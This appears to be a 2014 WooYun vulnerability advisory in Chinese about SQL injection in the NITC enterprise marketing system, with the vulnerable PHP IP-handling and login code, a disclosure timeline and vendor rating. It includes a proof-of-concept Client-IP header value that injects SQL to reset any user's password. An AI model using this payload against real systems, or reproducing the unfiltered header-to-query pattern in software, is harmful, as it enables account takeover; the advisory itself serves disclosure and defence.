当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2014-082132

漏洞标题:NITC企业版SQL注入,可重置任意用户密码

相关厂商:NITC

漏洞作者: 路人甲

提交时间:2014-11-07 15:41

修复时间:2015-02-05 15:42

公开时间:2015-02-05 15:42

漏洞类型:SQL注射漏洞

危害等级:高

自评Rank:20

漏洞状态:已交由第三方合作机构(cncert国家互联网应急中心)处理

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2014-11-07: 细节已通知厂商并且等待厂商处理中
2014-11-11: 厂商已经确认,细节仅向厂商公开
2014-11-14: 细节向第三方安全合作伙伴开放
2015-01-05: 细节向核心白帽子及相关领域专家公开
2015-01-15: 细节向普通白帽子公开
2015-01-25: 细节向实习白帽子公开
2015-02-05: 细节向公众公开

简要描述:

NITC企业智能营销系统

详细说明:

function getip( )
{
if ( isset( $_SERVER ) )
{
if ( isset( $_SERVER[HTTP_X_FORWARDED_FOR] ) )
{
$realip = $_SERVER[HTTP_X_FORWARDED_FOR];
return $realip;
}
if ( isset( $_SERVER[HTTP_CLIENT_IP] ) )
{
$realip = $_SERVER[HTTP_CLIENT_IP];
return $realip;
}
$realip = $_SERVER[REMOTE_ADDR];
return $realip;
}
if ( getenv( "HTTP_X_FORWARDED_FOR" ) )
{
$realip = getenv( "HTTP_X_FORWARDED_FOR" );
return $realip;
}
if ( getenv( "HTTP_CLIENT_IP" ) )
{
$realip = getenv( "HTTP_CLIENT_IP" );
return $realip;
}
$realip = getenv( "REMOTE_ADDR" );
return $realip;
}


ip获取没有进行过滤,导致网站多处sql注入

if ( $action == "login" )
{
....
$ip = getip( );
$_SESSION['member_email'] = $email;
$_SESSION['member_id'] = $result['member_id'];
$_SESSION['state'] = $result['state'];
$_SESSION['member_name'] = $result['name'];
$site->table( "member" )( "update ".$site->table( "member" ).( " set last_ip='".$ip."',last_time='" ).date( "Y-m-d H:i:s", time( ) )."' where member_id=".$result['member_id'] );
}


此处 用户登录的时候,记录用户登录IP操作,由于update用户数据,可以直接利用sql注入update任意用户的密码。
POC: head头上加入 client-ip:',password='' where member_id=1#

漏洞证明:

POC: head头上加入 client-ip:',password='' where member_id=1#

修复方案:

版权声明:转载请注明来源 路人甲@乌云


漏洞回应

厂商回应:

危害等级:中

漏洞Rank:10

确认时间:2014-11-11 14:08

厂商回复:

最新状态:

暂无